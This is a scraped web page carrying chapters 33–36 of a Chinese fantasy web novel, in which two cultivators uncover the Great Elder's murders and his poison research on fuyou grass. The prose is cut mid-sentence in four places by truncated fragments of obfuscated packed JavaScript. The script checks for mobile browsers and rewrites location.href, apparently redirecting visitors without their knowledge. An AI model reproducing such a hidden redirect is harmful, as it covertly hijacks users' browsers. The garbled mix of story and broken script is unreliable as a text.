l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014074|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该明白这个道理。” 这话像是一种劝告,老板当然知道,但他不听。他的人,死在别人手上,怎么就不能报仇了? 血债该以血来偿,这是他一贯坚持的原则,谁都无法改变。 “我只不过是报仇而已。” 轻飘飘一句话,惹的始祖再次叹气,毕竟木已成舟,他也不能说什么。 “君亭,我还是喜欢你杀伐果断、理性为公的样子,这才像你,这样也更好。” 老板不卑不亢,目光直直对上远天的某一点:“我不是谁剑指不公的武器,只会为自己觉得值得的事出手。您若想见以前的我,得去徘徊间。” “那你说说,”始祖语带笑意,“这次是觉得什么事值得去做,才能让你来见我?” “我想请您在将来的某一天救他。” “他?”始祖顿了一下,“你是说那个叫松意的孩子?” “正是。他是世间最后一只长生,绝对不能死。” 始祖沉默片刻,老板能感觉到冥冥之中有只眼睛在盯着他看。 片刻后,空中传来一声叹息:“你有没有想过,其实他早就不想要长生这个身份了。” “我知道,”老板也叹气,“但我还是想请您救他,他已经一无所有了,现在仅剩的也只是自己的命。” “我会救他的。”始祖再次叹息,“但我也仅仅是救他,能否改变终局,我不会过问,也不会插手。” “您能救他,就足够了。” “回去吧,待出了事,我自会出手。” “多谢。” 老板道完谢就离开了。 乔樵被扔过来后他就怀疑是不是谢松意这边出了什么事,乔樵便告诉他翠珏镇最近的一些怪事。 老板不放心,直到刚才听到谢松意和那只妖的对话,这才决定去见始祖。始祖只是隐世不出,有事相求还是会管的。 只是老板着实不喜欢始祖说的话,他是自己,不是谁的武器,或许现在的他和以前比起来变得太多了,但这又如何? 没有谁是一成不变,他活了那么久,总要变的。 始祖再怎么觉得以前的他更好他也不会变回去了,他从来不是一只因为旁人看法去改变自己的妖。 因为没必要。 别人怎么看,又不影响他活着。真影响他活着的,坟头草都三米高了。 另一边的林鹤眠和谢松意刚好回客舍,二人想把在林子里的见闻告诉任子安,可在任子安房门前敲了半天都没开门。 谢松意又去宁然的房间,发现屋里空无一人,登时有一种不好的预感涌上心头。 林鹤眠刚巧也走过来:“我强行破开门,发现任公子屋里没人,宁然她……” 林鹤眠的目光落到空荡荡的屋子里,发现宁然也不在。 “他们会不会是出去玩了?” “不会。”谢松意摇头,“还记得那个打晕了宁然的人么?宁然法力再弱也不会连别人闪到她身后都反应不过来,那人她一定见过,只是当时太惊讶才没反应过来。” “任家人?”林鹤眠蹙眉。 谢松意关了门,轻叹道:“也可能是烟帐山。” 35. 第三十三章 烟帐山? 林鹤眠心里有一种不好的预感,他转身要走,却被谢松意拉回来。 “我去烟帐山,你去任家。” “不行,你去烟帐山太危险了,而且齐简知道你的身份,一旦被公之于众,你会出事。” “不会的。”谢松意摇头,“能懂我的妖很少,人也是。” “那也不行。”林鹤眠双手抱胸,直接不走了。 “要么一起去,要么我去烟帐山。” 谢松意蹙眉,“啧”了一声,现在救人要紧,他不想和林鹤眠争论谁去哪里的问题,只好妥协:“那我们先去烟帐山。” 晚上的烟帐山很安静,隐约可见山中烟雾缭绕,低矮的灌丛因风沙沙作响,高大的树木时不时落下几片绿叶。 新生的绿叶沾染了夜色,仿佛经受了时间的洗礼变得更加成熟,落在地上是一片墨绿。 这种安静太诡异了,让人不自觉的起鸡皮疙瘩。 林鹤眠四下扫了一眼,发现整座山唯一的光源只有天上的月亮。 “没道理啊,外面没人就算了,怎么屋里连灯都不亮。” 林鹤眠说着就要去捅身旁屋子的窗户纸,手还没碰到,屋里便传来一声沉闷的低吼声,紧接着灯火亮起,一个东西“啪”的一声贴在窗户上。 林鹤眠被吓得后退了一步,这一步仿佛是碰到了什么开关,四周的屋子纷纷亮灯,那种沉闷的低吼声此起彼伏。 “这里面不会全是尸傀吧?” “可能。”谢松意伸手去捅窗户纸,“看看就知道了。” 窗户纸破了一个洞,一张诡异骇人的脸猛地贴在窗户上,眼睛刚好在洞的圆孔中。 那双眼睛没有眼瞳,只有白花花的眼白,里面还爬满了密密麻麻的血气。 尸傀似乎看不到一般,趴在窗户上看了许久,然后收回脑袋没再动弹,只是嘶吼声还在不断回响。 谢松意扫了一眼窗户,没再说什么,径直走了。林鹤眠忙追上去,问:“不杀了他们?” “全是失败品,打了只会浪费力气,留点力气对付该对付的人才是正道理。” 顿了顿,谢松意又补了一句:“你知道烟帐山有什么密道么?” “我记得只有两处,不过现在应该只剩长老殿一处,我上次发现齐简的密道,他大概率不会再用,短时间内也不能再修一个新的。” “我们去长老殿。” “行。” 去长老殿的路上除了花花草草什么都没遇到。 林鹤眠心说今天闯烟帐山的过程还挺顺利的,但没过一会他就发现自己想的太简单了。 刚才那些失败的尸傀只是开胃小菜,长老殿门前那一堆正巡游的玩意才是正餐。 谢松意求快,二话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014075|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说直接召来数道天谴劈下去,在场的尸傀都得成焦炭。 林鹤眠被雷光闪的睁不开眼,谢松意趁机拉着他进了大殿,等林鹤眠睁开眼时,发现自己已经站在大殿中间了。 他揉了揉太阳穴,用力眨了一下眼睛,又摇摇头,这才把一直在他脑子里乱闪的雷光晃出去。 “你到底还有多少惊喜是我不知道的?” 这话像是吐槽,又像是责问,但其实是看到真大佬一路发力的小菜鸡被带飞的感想,谢松意沉思片刻,回了一句:“一个。” 就一个,我是长生,不过说出来你可能得原地爆炸。 为了保护某小孩脆弱的内心,谢大公子惜字如金,说完这俩字就闭嘴了。 林鹤眠白谢松意一眼,心说你就可劲骗我吧,真拿我当小孩了,我顶天了也就跟你差不到二十岁。 如果之前谢松意召来一道天谴林鹤眠觉得正常的话,那刚才的操作已经超出他的认知范畴了。 谁家天谴像路边小摊批发的一样没命的往下砸啊,谢松意是大妖他信,但能批发天谴的大妖未免有些太大了,哪天他师兄找一具尸体当面给他整个复活大法都有可能。 “你到底走不走?” 林鹤眠被谢松意唤回神,他愣了一下,看到谢松意站在不远处一块被打开的地砖旁,发觉谢松意已经找到了密道入口,哦了一声忙走过去。 36. 第三十四章 密道里伸手不见五指,走在里面,全靠摸着墙壁探路。 谢松意当然不会干这种事,这密道的墙不知道有多脏,他才不碰,所以这个任务很光荣的轮到了林鹤眠身上。 林鹤眠知道他这师兄的脾气,倒也没说什么,乖乖的摸了一路的墙。 墙确实很脏,林鹤眠能清楚的感受到那种灰尘堆在指尖的感觉。 但很快,墙面的触感变得十分冰凉,林鹤眠上下摸索了一番,惊觉不对,忙收回手。黑暗里的谢松意注意到他的异常,掌心燃起一团火。 火苗“轰”的一声窜得老高,温暖微弱的火光映着墙面,林鹤眠借着光亮看清了他碰到的东西,惊吓中出于本能的喊了一声,下意识的牵着谢松意的手向后退去。 他身侧的谢松意岿然不动,只是很嫌弃的看了他一眼,目光还不忘扫一下两人牵在一起的手。 林鹤眠忙松开手,干笑两声,找补道:“这不是太突然了嘛,我不是故意的。” 谢松意没理他,将目光投向前方的墙壁,那上面挂着一张皱巴巴的人皮面具,面具表情是笑着的,下巴还有些裂纹。 谢松意用掌心照了一圈,发现密道里只有这一面墙上挂着人皮面具,而且贴的歪七扭八,极度随意。 “这不会是谁家小孩的恶作剧吧?”林鹤眠指着面具问。 谢松意刚想说谁家小孩闲的没事把一张破损的人皮面具贴在一个黑咕隆咚的密道里吓人,但转念一想,说不定还真有呢,便模糊不清的回了林鹤眠两个字:“可能。” “那这小孩还真皮。” 谢松意对林鹤眠的评价置之不理,继续向前走去,他没灭掉掌心的火,任由火苗摇曳着,成为密道里仅剩的光亮。 林鹤眠准备跟上,还没踏出一步,总觉得面具笑着很别扭,索性两只手伸出食指,沿着嘴角向下扒拉,给面具扒成了一个面无表情的样子。 全程旁观的谢松意:“……” 你是怎么好意思说人家小孩皮的? 不料下一秒墙壁就轰然倒塌,谢松意忙灭了掌心的火,一把将林鹤眠拉到自己跟前,这才没让林鹤眠被埋。 “这是……” 一个烟帐山出现两座遗迹,让林鹤眠不觉有些惊讶,连话都说不完整。 清澈的溪流横亘在一望无际的绿野,不远处有一棵树,树枝苍劲有力,翠叶丛生,下面挂了一架秋千。 秋千旁搭了一个藤萝花架,成片的紫藤萝随风摇曳,偶尔还会落下几片花瓣,花架下是好几块白色蛇骨。 “进去看看。”谢松意绕过散乱的灰色石砖,径直走了进去。 林鹤眠快步跟上,二人的目的地十分统一——那条小溪。 他和谢松意直接走到溪流中间,紧接着,四周便成了另一种模样。 一个看模样大概只有八九岁的小女孩提着衣服匆忙奔向山门,女孩手上缠着一条黑色小蛇,小蛇被她晃得睡不着,吐着蛇信子抱怨:“看给你急的,才出门十天就想让人快点回来了,回头遇到大事,他去几个月,你还不得哭死在烟帐山。” “咱可先说好,你不许告诉大长老我哭的事。” 女孩圆圆的小脸配上那种奶里奶气的声音,竟也能听出几分威胁的意味。 小黑蛇十分不屑:“你屁点大的小孩一个,还会威胁我了?” “我不管,”女孩撅起嘴,“你说了我三天不给你吃饭。” “行啊。”似乎是被这种威胁方法逗笑了,小黑蛇毫不在意,懒洋洋的说:“我饿急眼就把你吃了,反正你也能填肚子。” “不行,我死了长老们会很伤心的。” 小黑蛇有些无语:“你这人,自己要死了居然先考虑别人的感受,而不是感慨再也没命活。” “我来就是要死的嘛,我自己对这种事又不在意。” “呵。” 小黑蛇把脑袋缩到女孩的袖子里,不再说话。 二人又向前走了一段较长的距离才停下,这次的场景和遗迹内部别无二致,女孩已经出落成了亭亭玉立的少女,她坐在秋千上,很认真的看黑蛇化成的少女给藤萝浇水。 “对了,”少女脚尖有一搭没一搭的点着地面,借着地面的力荡秋千,“小黑,你之前说的蜉蝣草到底是什么东西?” 小黑浇水的手微顿,片刻后,她看向少女,回道:“是一种对人来说有剧毒的草药,你可别想用它炼毒药,毒性不是普通人能承受的。” “不会,我只是想用他试试药性逆转的法子,如果逆转成功,说不定人也可以用呢。” “你在想这个之前还是先想想怎么和三位长老说你的事吧。”小黑直起身子,有些不满,“我就稀罕了,任家那小子到底是有什么好的,能让你对他那么死心塌地。” “我觉得他好他就是好。” “行行行,他好他好。” 小黑没再说话,情人眼里出西施,她无法战胜爱情的力量,所以选择闭嘴。 两人又向前走了一段距离。 这次四周的场景又变成了密道,少女拉着小黑的手,一路小跑进来。 小黑一头雾水:“你瞒着三位长老挖一个黑咕隆咚的密道干嘛?” “哎呀你不懂,”少女煞有介事的亮起掌心的火苗,小黑的脸正对着墙上那张人皮面具,那面具笑着,看得有些吓人。 少女把面具的嘴角扒到面无表情的程度,墙壁顿时消失不见,露出里面的空间,景象和遗迹别无二致。 “喏,我把你那个幻境搬来了,我厉害吧?” 语气像一个期待父母夸奖的小孩。 小黑无奈又好笑:“道理我都懂,但你为什么要用一张人皮面具做阵眼?” “这可是我和你第一次偷溜下山去逛庙会的面具,很有纪念意义的。” 小黑叹气:“你可别被几位长老发现了。” “不会。”少女十分自信,“而且就算发现了他们也不会说我的,他们最疼我了。” “好一个恃宠而骄。”女妖抹了一把脸, “不过这实体的阵眼和阵主人的生命息息相关,你最好活久一点,不然将来不小心被谁触发,估计得出事。” “我肯定长命百岁好吧,小黑你怎么总不信我?”少女别过头,似乎有些生气。 “我信你就是了。” “这还差不多。” 这段记忆结束,林鹤眠看向谢松意,谢松意果断上了岸,林鹤眠跟着他直接走到河流尽头才再次踩上水面。 这次是在一个房间。 病床上躺着一个虚弱的女人,她的脸毫无血色,嘴唇苍白干裂,连声音都是哑的。 “对不起……” 小黑摇头:“你没有对不起我的地方。” 女人勉强挤出一个笑:“说好要和你一起看这两姐妹长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014076|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大,我竟没机会了,失约于你,也算对不起的。” “没必要。” 女人又笑,这一笑似乎用尽了所有的力气,她的声音已经细若蚊蝇,几不可闻。 “你陪陪我吧。” “好。” 小黑坐在床榻一侧,平静的看着女人在睡去,她的身体太过虚弱,能撑到现在已经很不容易了。 片刻后,她伸手去探女人的鼻息,随后收回手指,嘴角扯出一个笑,比哭还难看。 门外的侍女来给女人送饭,很少有人知道小黑的存在,外面的人还在叫门,小黑身子一扭回了密道里。 “都死了算了,谁都别要我了。” 这是气话,她哪里真的舍得让朋友死,可天不饶人,她没办法。 眼泪不争气的落下来,一滴……两滴……三滴…… “你去陪她好了,哭什么。” 一个略微沙哑的声音响起,小黑抬头,却在看到来者的脸后大吃一惊,林鹤眠也惊讶。 因为来的人是大长老。 小黑拔出剑,剑刃直抵大长老咽喉,却在即将碰到他的一瞬被强大的灵力震飞出去。 “是你!”小黑嘶声竭力,“是你故意给疏云下毒,害她早产!” “她不死,然然的天赋就永远要被压一头,然然的天赋完全显露我才有机会成功。” “她才五岁,还是你外孙女,你怎么能这么对她?!” “我外孙女?”大长老仿佛听到了什么天大的笑话,他笑的疯癫,“连宁疏云都不是我亲女儿,她算我哪门子的外孙女?如果不是当初看到她有天赋,我根本不会收养她。” “可惜了,她还没找出逆转蜉蝣草药性的办法就得死了,不过没关系,我会顺着她留下的成果继续寻找。” 大长老的手隔空一抓,小黑被他掐着脖子吸走了全部妖力,她想说话,但说不出来,彻底失去意识前,她看到大长老抬起的手又放下。 “这密道就留着给你当坟墓了,待我把出口打通,他日事情败露,逃命也有地方。” 回忆结束,林鹤眠心里总不是滋味,谢松意依旧一副司空见惯的样子。 “不开心了?”谢大公子难得一见的开口安慰林鹤眠。 林鹤眠摇头:“没有,只是有些难受。” “等解决了这件事,我们回来收尸。” 林鹤眠突然转头看向谢松意,谢松意以为自己说错话了,挑眉道:“不想?” “你陪我?” “你哪次收尸我没陪你?”谢松意转身离开,“你不想让我来的话也行。” “我不是这个意思。” 谢松意“嗯”了一声,并不在意林鹤眠是否真的是这个意思,刚才在回忆里看到了小黑的妖力和原形,找人倒方便多了,他可以直接用妖力追踪小黑的妖力,这种方法倒不会暴露身份。 “兜兜转转,还是得去乱葬岗。”谢松意蹙眉。 林鹤眠:“那我们快过去。” 谢松意:“等一下,我拿样东西。” 林鹤眠“哦”了一声,然后眼睁睁的看着自己师兄从遗迹里面抽了一块蛇骨。 林鹤眠:“???” 谁来解释一下这什么操作? “还不走?”谢松意朝身后偏头,示意林鹤眠原路返回。 林鹤眠按下心中的好奇跑到他跟前,两人又回了乱葬岗。 37. 第三十五章 乱葬岗 夜晚的乱葬岗比白天更加瘆人,惨白的月光照下来,遍地凄寒。不远处的树枝上偶尔有乌鸦啼叫,冷不丁一声能喊得人浑身起鸡皮疙瘩。 阴风飕飕地吹着,树枝颤动,乌鸦一跃而起,没入夜色,面前还有一个灵活的骷髅架子和一群尸傀在打一个大活人,这场面但凡是个胆小的,当场就能被吓到尿裤子。 林鹤眠召出佩剑,纵身一跃就跳到尸傀堆里,帮宁然挡了一下身后尸傀的攻击,跟在他身后的谢松意一人便将尸傀和骷髅架子分开。 场面就变成了林鹤眠和宁然一打二,谢松意打一堆尸傀。 宁然挡下骷髅架子的攻击,问:“你们怎么来了?” “我们发现了你母亲朋友的遗骸。”林鹤眠回了一句。 “朋友?”宁然大吃一惊,“母亲从未告诉过我她有朋友。” 在宁然的记忆里,母亲从来都是一个人,只是偶尔会记一些手记,但手记也从不给别人看。 后来母亲去世,手记成了她的遗物,宁然还没来得及拿出来看就被送到烟帐山了,即便偷偷回了任家,也没有机会接触到母亲遗物,手记里的内容便成了谜。 骷髅架子似乎觉得两个人边打边聊是一种对他的侮辱,便发了狠,每一招都直击宁然要害。 说来也怪,明打他的还有林鹤眠,偏偏这骷髅架子只盯着宁然下狠手,活像跟她有血海深仇。 谢松意怕这俩人出事,麻溜解决所有尸傀就去帮忙了。有了谢松意帮忙,三打一轻松多了。 骷髅架子没肉,骨头也砍不动,唯一有肉的脑袋还硬的很,像一块冻了几百年的冰,砍上去剑刃都在颤动,手都跟着麻了一下。 惨白的脸上那双眼白的眸子一瞬不瞬地盯着宁然,从脖颈处蔓延到脸上的荆棘仿佛下一秒就能爬满整张脸。 他不知道疼,只是盲目地去打宁然,但一打多他终究不占优势,就算感受不到疼,也扛不住一直挨打。 一阵毒气突然散开挡住了众人的视野,为了避免吸入毒气,三人纷纷掩住口鼻,待毒气散去,那副骷髅架子早就不见了。 “姐姐!” 身后传来一个陌生的声音,全场只有宁然一个女孩子,所以她很自然地转身去看。 只见任子安身边站着一个低他两头的蓝衣小姑娘,她的眉眼和宁然十分相似,都遗传了宁疏云。 宁然盯着她看了几秒,片刻后,她才反应过来对方是谁。 “依依!” 宁然收了剑,笑着跑到任依依面前,小姑娘拿出一沓纸,上面写满了密密麻麻的字,还有时间和天气状况,想来是谁的手记。 “喏,子安哥哥说你可能需要这个,就带我把它送过来了。” “母亲的手记?”宁然接过去翻了几页,“不,这不是普通的手记,上面写了是蜉蝣草药性逆转的进展。” 任子安郑重地点头:“的确。我猜它应该有用,就回了一趟任家,带依依把手记拿出来了。” “宁小姐,”谢松意走过来,“我可以看看您母亲的手记么?” 宁然想着反正是要查蜉蝣草的事,谢松意比她对蜉蝣草更了解,给他看看也没什么,便将手记递了过去。 手记虽然是散着的,日期也断断续续,但上面的簪花小楷特别秀气,可以看出写手记的人很认真。 谢松意按时间日期整理好所有纸张,然后开始挨个看起来。 太和二十四年春,三月初六,晴 没想到世间居然有须臾神树和蜉蝣草这种存在,可惜了那棵须臾神树,如果它没有变成山,我一定要研究一下。 不过好在蜉蝣草还在,我可以研究这个。 不过我更没想到妖族和人族关于始祖的故事差别居然这么大,完全就是两版。 太和二十四年春,四月二十,雨 外面下了好大的雨,我和小黑在幻境里一直玩到雨停。我问了她好多和蜉蝣草有关的事,开始着手尝试能否让蜉蝣草药性逆转。 我已经用其他毒药试了好多次,他们都可以逆转,不过蜉蝣草估计很难,毕竟是始祖心脏化成的。 太和二十四年夏,七月十一日,雨 我现在还不准备研究蜉蝣草,又找了好多毒药做实验,毕竟准备的全面一点才更好。 但今天被小黑骂了,因为找毒药时不小心受了伤。 小黑说我是笨蛋,还说大长虫把灵力给我们人类就是嫌我们死的太慢,没灵力还会惜命,有灵力就借着灵力到处浪。 她口中的大长虫就是始祖,她好像对始祖特别有意见。 我借机问了古兽长生的事,她说长生一族是以人形诞生的,只有极少数才会有兽形,兽形和始祖差不多,像龙。 太和二十八年冬,十二月初一,晴 成亲后很少有时间去研究蜉蝣草,手记也好久没写了,然然如今三岁,有桐婆婆照顾,我也可以轻松些。 这些年我读完了任家藏书阁所有和毒药药性有关的书,有好多都是烟帐山不曾记载的毒药。 其中有一味名为七日见红的毒药,它无色无味,毒发时也不会痛,服用后的第七日会让人咳出一口血,两个时辰后命丧黄泉,给我提供了蜉蝣草药性逆转的新灵感。 听说七日见红是三百多年前的一位军医发明的,那位军医简直是天才。 太和二十九年夏,六月初二,晴 今天是然然的四岁生日,蜉蝣草药性逆转的研究也大有进展,大长老特别欣赏然然的天赋,说希望以后可以把她送去烟帐山。 然然的天赋尚未完全显露,我这个做母亲的压了她一头,鲜有外人知晓她的能力,送去烟帐山或许可以更快的让她的天赋被世人发现。 话说回来,自从看了七日见红的记载,我就改了主意。蜉蝣草核作为始祖心脏的化身,如果不能在治病方面有利于人,那么为什么不让他在自保方面发挥作用呢? 太和二十九年秋,十月初七,雨 蜉蝣草药性逆转比较成功,听说六峰山山道上有妖吃人,我去找了一只倒霉蛋试了一下,蜉蝣草毒粉洒出去,那只妖瞬间全身溃烂,紧接着就倒地不起。 不过他喊的太大声,引来了他的同伙,我有孕在身不方便动手,小黑三下五除二就把他们打死了。 不愧是小黑! 逆转后的药性已经很厉害了,蜉蝣草以前只能作用活人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014077|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而现在可以用来对付活生生的妖了,算是一种人族新的自保手段,不过要是能顺带把妖的尸体也给解决就好了。 我把这个成果告诉了大长老,他特别开心,我也开心。 太和三十年夏,六月三十,晴 再过一个月我的孩子就要出生了,蜉蝣草还是没能把尸体解决,好麻烦。 第一个孩子的名字一周岁才取好,取名字真是个难事。然然抓周时笑声荡漾,我脑海里只有四个字:一笑琅然,干脆给她取名叫任然。 至于我的第二个孩子,就叫依依好了。昔我往矣,杨柳依依。今我来思,雨雪霏霏。 阿娘特别喜欢这句话,可惜阿爹战死沙场后她思念过度去世了,偌大的宁家顿时空起来。 祖母和外婆都说我是天生煞星,克死了父亲母亲,因而把我赶了出去,连带着其他亲朋邻里都被压着不敢对我好,可这明明不是我的错。 现在我马上就要成为两个孩子的母亲了,我好想他们。 这是最后一页手记,很明显,宁疏云把尸体解决的这个设想被大长老实现了,而且不止能解决妖的尸体,还能解决人的。 谢松意把手记还给宁然,随后朝漠林的方向走去:“我们去蜉蝣草核那里。” 林鹤眠:“你是说大长老在那里?” “什么大长老?!”事关大长老,宁然慌了神,“你们把话说清楚!” 谢松意眸光黯淡,他沉默片刻,叹气道:“宁小姐,杀害你母亲和你母亲朋友的人就是大长老,你最初要找的溶骨脂,也是他的手笔。” “不可能,你们一定是在骗我!” 不过几句话,让宁然几近崩溃。 谢松意并未回答,只是反问:“宁小姐,你可知道遗迹的存在?” “遗迹?”宁然低喃,随后想到什么似的猛地抬头,“你是说,我母亲的朋友是妖?” “正是。遗迹内部的记忆无法造假,你若不信我的话,可以去看看。” 一股莫名的酸楚突然涌上来,宁然的眼眶霎时湿润,她突然笑起来,声音都是哽咽的:“所以,那些真正对我好的人被害致死,而妄图利用我的人却活得好好的,还一直骗我骗到了现在?” 任子安有一瞬的心疼,他想伸手帮宁然擦掉眼角的泪——就像小时候那样。 可宁然却打掉他的手:“别碰我!” “姐姐……”任依依抓着宁然的手,试图让她冷静。 宁然没舍得甩开她,也没像任依依想的那样冷静下来。 她一直信以为真的亲情却是害死母亲的凶器,此刻,愤怒、不甘、委屈……无数情绪都聚成酸涩的泪,情不自禁的落下来。 那么多年了,真正的亲人没来看过她,所谓的亲人面具之下却是杀害母亲的凶手,如果那人不是大长老,如果母亲没有对大长老亲情的依赖,会不会就不会这样? 或许母亲会怀疑大长老,会逃过一劫,和她那位妖族朋友一起在任家看她和妹妹长大。 可过去的事没有如果。 她活了十几年,却只有五年的时间体会过真正的亲情,剩下的都是一场骗局。 她活得,真是可笑而愚蠢。 38. 第三十六章 眼泪断线珠子般啪嗒落下,夜风稍冷,吹在脸上凉凉的,微弱的的寒意却让宁然清醒。 此刻即便有天大的委屈也不是要紧事,他们还得赶去蜉蝣草核那里,不能让蜉蝣草核落入大长老手中。 宁然抹了把眼泪,轻轻拿开任依依的手,泪痕风干在脸上,她眼眶微红,眸中却是千军万马也无法阻挡的坚毅。 “我们去找大长老。” “不行。”任子安果断拒绝,“太危险了,你不能去,他摆明了是冲着你来的。” 宁然发了狠,铁了心要过去:“有本事他杀了我!” “你总要为自己的安危考虑,你是任家……然然!” 任子安话音未落,宁然直奔蜉蝣草核,他无奈,蹲下身子轻抚着任依依的头:“依依自己回客舍好不好,如果遇到危险,就放哥哥给你的毒。” 任依依乖巧点头:“好。” 说擦,任子安便匆忙飞走追赶宁然。 “两位哥哥你们不过去吗?”任依依眨巴着黑溜溜的大眼睛看向谢松意和林鹤眠。 谢松意到底是不放心,那了一块环形玉佩递给任依依:“如果遇到你哥哥的毒都无法解决的危险,就砸碎这块玉佩,知道么?” 任依依接过玉佩,她一笑,两只小梨涡特别明显,声音都是甜的:“谢谢哥哥,你们小心。” 谢松意点头,抓着林鹤眠跟在任子安身后。 宁然走得急,飞得也快,要到蜉蝣草核洞窟上方之际,凭空一道剑气出现在身后,她不得已停下来躲开剑气。 不远处的任子安也没手软,见情况不妙直接一剑刺过来。 大长老一声嗤笑,看任子安的眼神像是在看一个不知天高地厚的蝼蚁,抬手间便是一股强大的威压。 紧接着,大量毒气自他掌心喷出,刚赶过来的林鹤眠和谢松意下意识地掩住口鼻。 “果然,这世间诸般武器,都不如一把毒好用。” “用抢来的妖力对付妖,你可真会想。” 谢松意的声音凭空响起,浓厚的毒气弥漫在四周,本来已经散开,却又凭空聚拢,被一股强大的妖力碾碎。 “妖力?” 宁然有些惊讶,不过她没再多说,趁大长老愣神的功夫冲了过去。 大长老没来得及反应,躲得匆忙,手臂被划开一道伤口。他这一受伤,那个才消失没多久的骷髅架子又冒出来直奔宁然。 宁然向后退去,任子安挡在她身前,待她稳住身形,换了个位置躲点骷髅架子的攻击。 宁然着实不想对着那玩意动手,毕竟顶着三长老的脸,她下不去手。 大长老狞笑:“要么你杀了他,要么他杀了你。” 林鹤眠二话不说就是干:“我也可以让你先闭嘴!” 大长老也不是吃素的,召出佩剑挡住林鹤眠的攻击。谢松意从背后刺他,速度太快,他堪堪躲过。 反正刚才已经暴露身份了,谢松意也没用灵力,周身缭绕的妖气几乎与夜色融为一体。 大长老不屑地看向他,又扫林鹤眠一眼:“见清那老东西知道他最宠爱的小徒弟和一只妖厮混么?” “我师父早知道了,用不着你来管!” 林鹤眠手腕一转,一道凛冽的剑气倾泻而出,谢松意绕到大长老身后,两人给他来了个两面包夹芝士。 大长老见状,便向上走,不料天上却凭空多出一个人,那人突然出现,五指用力按着他的天灵盖,把他按到地面。 软绵绵的沙地硬是被压出一个几十公分的印子,强大的灵力引得沙子乱蹦,炸起连串的沙浪。 大长老被压在下面,待他看清来者的面容,用力朝那人心口打了一巴掌。 对方早就料到他会这么做,起身躲过,大长老也趁机迅速起身,事已至此,他只想跑。 刚才看到谢松意的本事,便换了一种毒,洒下毒粉的瞬间,背后突然一股杀意闪过,他这次没有躲开,被硬生生断掉一臂。 林鹤眠还想再砍他,可毒气散去时,大长老人已经不见了。 另一边的任子安一剑捅穿了骷髅架子的胸口,宁然瞳眸颤了一下,选择收剑,谢松意一把火烧了那具骷髅架。 “二爷爷。”宁然冲来者喊了一声。 二长老目光绕过地上那团火,最后爬到宁然脸上,叹气道:“可有受伤?” “没。” 二长老又叹气:“没想到认识了那么多好,最大的危险就在自己身边。” “三爷爷他……” 二长老摇头:“救不了,老三大概开春那时就被害了,是尸傀寄生虫让他的看起来和普通人无异,实际上内里就是个空壳子。” 林鹤眠挠头:“尸傀还会有寄生虫?” 二长老:“有的,这种有寄生虫的尸傀更厉害,而且只会认一一个主人。” “寄生虫附到宿主体内后,会以宿主五脏六腑的器官作为养料疯狂啃食,等把宿主啃成一具空壳,它就会控制宿主的行为。” “再等到时机成熟,它会破壳而出,吞掉宿主仅剩的皮囊,只留一颗脑袋。” “不,您还少说了一点。”谢松意补充道:“这种有寄生虫的尸傀可以繁殖新的寄生虫,被新寄生虫感染的人会成为下一个尸傀。” 二长老笑起来:“这位公子说的不错,尸傀寄生虫确实有这种能力。” 林鹤眠突然有一瞬的起鸡皮疙瘩:“那我们在烟帐山见到的那些该不会是……” 他和谢松意在烟帐山见到的如果是被寄生虫感染的尸傀,那他今晚和那么多尸傀近距离接触过,该不会…… 咦~ 林鹤眠打了个寒颤,他可不想变成尸傀这种没意识只会嘎嘎杀人还浑身上下没一块好肉的东西。 二长老知道林鹤眠在想什么,他对安慰孩子还是有一手的:“林少侠放心吧,那些都是失败品。我烟帐山所有弟子都下山找毒虫毒草去了,如今山内只有掌门和我坐镇。” 顿了顿,二长老拿出一沓纸递给宁然,宁然有些迟疑,二长老却笑了:“老三留给你的,疏云爱写手记的习惯还是和他学的,你打开看看吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014078|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 